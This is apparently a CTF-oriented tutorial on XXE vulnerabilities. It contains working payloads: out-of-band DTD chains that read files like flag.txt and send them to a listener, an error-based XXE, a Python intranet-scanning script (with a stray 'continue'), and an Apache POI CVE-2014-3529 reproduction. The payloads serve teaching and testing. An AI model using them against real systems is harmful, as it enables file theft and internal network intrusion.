XXE Vulnerability Analysis and Practical Application

Common Payload Analysis#

It seems like everyone is using this test code:

<?php

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);

Using XML to send data:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
]>
<root>&a;</root>

But when I tried using parameter entities, it seems that I couldn't carry data:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % a "http://localhost:8887/aaa">
%a;
]>
<root></root>

Nested entities also don't work:

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % file SYSTEM "file:///flag.txt">  
	<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
	%start;
	%send;
]>

The most commonly used method for carrying data:

Prepare two files on your own VPS, I did the experiment on my local machine.

Open a web service on port 8001 on your local machine,

DraggedImage-1

The content of the local.xml file:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
%start;

This file represents sending the data to another port 8887 after reading it, and then we send the data to the victim's server,

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">  
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
	%remote;
	%send;
]>
<message>1234</message>

Then you can receive the data on port 8887

DraggedImage-2

Another payload also works

DTD file

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

Payload sent

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

Error XXE#

This method p actually mentioned it a long time ago, you can achieve an error through three levels of nested XML

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % para1 SYSTEM "file:///flag">
	<!ENTITY % para '
		<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
		&#x25;para2;
	'>
	%para;
]>
<message>10</message>

XXE Probe Intranet#

import requests
import base64
#Origtional XML that the server accepts

#<xml>

#    <stuff>user</stuff>

#</xml>



def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)

for i in range(1, 255):
    try:
        i = str(i)
        ip = '192.168.1.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
      print "error"
continue

Case Analysis#

NetDing Cup 2020 fileJava#

The vulnerability used is CVE20143529

Reproduction code

import org.apache.poi.EncryptedDocumentException;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import java.io.FileInputStream;
import java.io.IOException;
public class CVE20143529 {
    public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
        Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getLastRowNum());
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>pxyapache</groupId>
    <artifactId>pxypxy</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.poi</groupId>
            <artifactId>poi-ooxml</artifactId>
            <version>3.10-FINAL</version>
        </dependency>
    </dependencies>

</project>

Exploitation process:

Prepare an Excel file:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

Prepare the DTD file

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

It will read the file and then send it to port 8887

Get the flag by listening

References#

This YouTube video explains it well: https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S